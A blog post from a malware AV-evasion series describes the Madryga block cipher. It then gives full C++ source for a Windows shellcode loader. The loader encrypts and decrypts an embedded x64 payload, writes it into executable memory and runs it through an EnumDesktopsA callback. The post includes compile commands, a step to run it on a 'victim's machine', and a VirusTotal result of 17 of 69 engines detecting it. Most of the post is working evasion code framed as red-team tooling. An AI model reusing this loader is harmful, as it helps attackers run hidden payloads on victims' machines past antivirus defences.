Malware AV/VM evasion - part 13: encrypt/decrypt payload via Madryga. Simple C++ example.

﷽

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research on try to evasion AV engines via encrypting payload with another function: Madryga algorithm.

Madryga

In 1984, W. E. Madryga introduced the Madryga algorithm as a block cipher. It was created with the intention of being simple and efficient to implement in software. One of its distinctive characteristics was the usage of data-dependent rotations, meaning that the amount of rotations executed during the encryption process is based on the data being encrypted. This approach was followed by subsequent ciphers, including RC5 and RC6.

Despite the fact that the Madryga algorithm was regarded as groundbreaking at the time of its conception, it was later proven to have severe flaws. These flaws rendered the cipher susceptible to attacks; hence, it is no longer regarded as a safe encryption scheme.

Notwithstanding its shortcomings, the Madryga algorithm played a significant contribution in the development of cryptography as one of the first ciphers to include data-dependent rotations. Its flaws also underlined the significance of thorough study and testing in the creation of strong encryption schemes.

Madryga algorithm

The Madryga cipher is a lightweight, iterative block cipher that balances simplicity and efficiency. Its reliance on variable rotation, XOR, and overlapping working frames creates a reversible and moderately secure encryption process. However, for modern cryptographic applications, its security is insufficient due to advances in attack methodologies.

practical example

The Madryga cipher is a symmetric block cipher designed to encrypt and decrypt 64-bit blocks using a series of rotations, XOR operations, and iterative transformations. Below is a detailed breakdown of its operations:

initial setup - operates on 8-byte (64-bit) blocks. Uses a 64-bit key for encryption and decryption. Then the key is XORed with a predefined constant (0x0f1e2d3c4b5a6978) before processing begins to create pseudo-random behavior.

#define BLOCK_SIZE 8
#define NUM_ROUNDS 8
const uint64_t RANDOM_CONSTANT = 0x0f1e2d3c4b5a6978;

The outer cycle is the main loop that applies the core encryption (or decryption) logic to the entire block multiple times. By default, the outer cycle runs 8 rounds. Ensures full diffusion of data across the block, so every byte is influenced by neighboring bytes over multiple iterations.

Helper functions:

uint16_t rotate_left_16(uint16_t value, int bits) {
  return (value << bits) | (value >> (16 - bits));
}

uint16_t rotate_right_16(uint16_t value, int bits) {
  return (value >> bits) | (value << (16 - bits));
}

uint64_t rotate_key_left_3(uint64_t key) {
  return (key << 3) | (key >> (64 - 3));
}

uint64_t rotate_key_right_3(uint64_t key) {
  return (key >> 3) | (key << (64 - 3));
}

Here:
rotate_left_16 - rotates a 16-bit integer value to the left by bits positions.
rotate_right_16 - rotates a 16-bit integer value to the right by bits positions.
rotate_key_left_3 - rotates a 64-bit key to the left by 3 bits.
rotate_key_right_3 - rotates a 64-bit key to the right by 3 bits.

The simplest implementation of inner cycle on C is looks like:

void madryga_inner_cycle_encrypt_simplified(unsigned char *data, int data_len, uint64_t key) {
  for (int i = data_len - 2; i >= 0; i--) {
    int working_frame_start = (i % data_len + data_len) % data_len;
    int working_frame_mid = ((i + 1) % data_len + data_len) % data_len;
    int working_frame_end = ((i + 2) % data_len + data_len) % data_len;

    uint8_t rotation_bits = data[working_frame_end] & 0x07;

    uint16_t temp = (uint16_t)data[working_frame_mid] << 8 | (uint16_t)data[working_frame_start];
    temp = rotate_left_16(temp, rotation_bits);
    data[working_frame_start] = (uint8_t) temp;
    data[working_frame_mid] = (uint8_t) (temp >> 8);

    data[working_frame_end] ^= (uint8_t) key;
  }
}

The madryga_inner_cycle_encrypt_simplified operates on a “working frame” of three consecutive bytes. Steps:

• extract three bytes from the data array: working_frame_start, working_frame_mid, and working_frame_end.
• extract the last byte (working_frame_end) to determine the number of bits to rotate.
• concatenate the first two bytes into a 16-bit integer, rotate left, and split back into two bytes.
• XOR the last byte with the lower byte of the key to mix key material into the data.

Here I implemented simplified version of encryption/decryption logic, but madryga_encrypt function can still be classified as a variant of the Madryga encryption algorithm:

void madryga_encrypt(unsigned char *plaintext, int plaintext_len, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  for (int i = 0; i < NUM_ROUNDS; i++) {
    madryga_inner_cycle_encrypt_simplified(plaintext, plaintext_len, key);
  }
}
//...

void madryga_decrypt(unsigned char *ciphertext, int ciphertext_len, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  for (int i = 0; i < NUM_ROUNDS; i++) {
    madryga_inner_cycle_decrypt_simplified(ciphertext, ciphertext_len, key);
  }
}

Full source code of our malware is:

/*
 * madryga.cpp
 * encrypt/decrypt payload via Madryga alg
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/03/09/malware-av-evasion-13.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define BLOCK_SIZE 8
#define NUM_ROUNDS 8
const uint64_t RANDOM_CONSTANT = 0x0f1e2d3c4b5a6978;

// Rotate left function for 16-bit integers
uint16_t rotate_left_16(uint16_t value, int bits) {
  return (value << bits) | (value >> (16 - bits));
}

// Rotate right function for 16-bit integers
uint16_t rotate_right_16(uint16_t value, int bits) {
  return (value >> bits) | (value << (16 - bits));
}

// Function to rotate the key to the left 3 bits
uint64_t rotate_key_left_3(uint64_t key) {
  return (key << 3) | (key >> (64 - 3));
}

// Function to rotate the key to the right 3 bits
uint64_t rotate_key_right_3(uint64_t key) {
  return (key >> 3) | (key << (64 - 3));
}


// Helper function to print bytes in hex
void print_bytes_hex(const unsigned char *bytes, int len) {
  for (int i = 0; i < len; i++) {
    printf("\\x%02x", bytes[i]);
  }
  printf("\n");
}

// Simplified inner cycle encryption (no key, no rounds)
void madryga_inner_cycle_encrypt_simplified(unsigned char *data, int data_len, uint64_t key) {
  for (int i = data_len - 2; i >= 0; i--) {
    int working_frame_start = (i % data_len + data_len) % data_len;
    int working_frame_mid = ((i + 1) % data_len + data_len) % data_len;
    int working_frame_end = ((i + 2) % data_len + data_len) % data_len;

    uint8_t rotation_bits = data[working_frame_end] & 0x07;

    uint16_t temp = (uint16_t)data[working_frame_mid] << 8 | (uint16_t)data[working_frame_start];
    temp = rotate_left_16(temp, rotation_bits);
    data[working_frame_start] = (uint8_t) temp;
    data[working_frame_mid] = (uint8_t) (temp >> 8);
    
     data[working_frame_end] ^= (uint8_t) key;
  }
}

// Simplified inner cycle decryption (no key, no rounds)
void madryga_inner_cycle_decrypt_simplified(unsigned char *data, int data_len, uint64_t key) {
  for (int i = 0; i < data_len - 1; i++) {
    int working_frame_start = (i % data_len + data_len) % data_len;
    int working_frame_mid = ((i + 1) % data_len + data_len) % data_len;
    int working_frame_end = ((i + 2) % data_len + data_len) % data_len;

    // Reverse the XOR
    data[working_frame_end] ^= (uint8_t) key;

    // Reverse the rotation
    uint16_t temp = (uint16_t)data[working_frame_mid] << 8 | (uint16_t)data[working_frame_start];
    uint8_t rotation_bits = data[working_frame_end] & 0x07;
    temp = rotate_right_16(temp, rotation_bits);
    data[working_frame_start] = (uint8_t) temp;
    data[working_frame_mid] = (uint8_t) (temp >> 8);
  }
}

void madryga_encrypt(unsigned char *plaintext, int plaintext_len, uint64_t key) {  
  key ^= RANDOM_CONSTANT;
  
  for(int i=0; i < NUM_ROUNDS; i++){
    madryga_inner_cycle_encrypt_simplified(plaintext, plaintext_len, key);
  }
}

void madryga_decrypt(unsigned char *ciphertext, int ciphertext_len, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  
  for(int i=0; i < NUM_ROUNDS; i++){
    madryga_inner_cycle_decrypt_simplified(ciphertext, ciphertext_len, key);
  }
}

// encrypt payload with padding
void madryga_encrypt_payload(unsigned char *payload, int payload_len, uint64_t key) {
  int i;
  for (i = 0; i < payload_len / BLOCK_SIZE; i++) {
    madryga_encrypt(payload + i * BLOCK_SIZE, sizeof(payload + i * BLOCK_SIZE), key);
  }
  // check if there are remaining bytes
  int remaining = payload_len % BLOCK_SIZE;
  if (remaining != 0) {
    unsigned char pad[BLOCK_SIZE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, remaining);
    madryga_encrypt(pad, sizeof(pad), key);
    memcpy(payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, pad, remaining);
  }
}

// decrypt payload
void madryga_decrypt_payload(unsigned char *payload, int payload_len, uint64_t key) {
  int i;
  for (i = 0; i < payload_len / BLOCK_SIZE; i++) {
    madryga_decrypt(payload + i * BLOCK_SIZE, sizeof(payload + i * BLOCK_SIZE), key);
  }
  // check if there are remaining bytes
  int remaining = payload_len % BLOCK_SIZE;
  if (remaining != 0) {
    unsigned char pad[BLOCK_SIZE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, remaining);
    madryga_decrypt(pad, sizeof(pad), key);
    memcpy(payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, pad, remaining);
  }
}

// main function
int main() {
  unsigned char my_payload[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int my_payload_len = sizeof(my_payload);
  uint64_t key = 0x0123456789ABCDEF;

  int pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, my_payload_len);

  printf("original payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  madryga_encrypt_payload(padded, pad_len, key);

  printf("encrypted payload: ");
  for (int i = 0; i < pad_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  madryga_decrypt_payload(padded, pad_len, key);

  printf("decrypted payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");
  
  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  
  return 0;
}

As you can see, I added printing just for checking corectness.

demo

Let’s go to compile our “malware”:

x86_64-w64-mingw32-gcc -O2 madryga.c -o madryga.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Then, run it at the victim’s machine:

Calc entropy:

python3 entropy.py -f ./madryga.exe

Let’s go to upload this sample to VirusTotal:

https://www.virustotal.com/gui/file/7c4c827e735c5423e4e476f60833bd4e0fca4d0b15e54fa0ad2f6bd529213432/detection

As you can see, only 17 of 69 AV engines detect our file as malicious

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine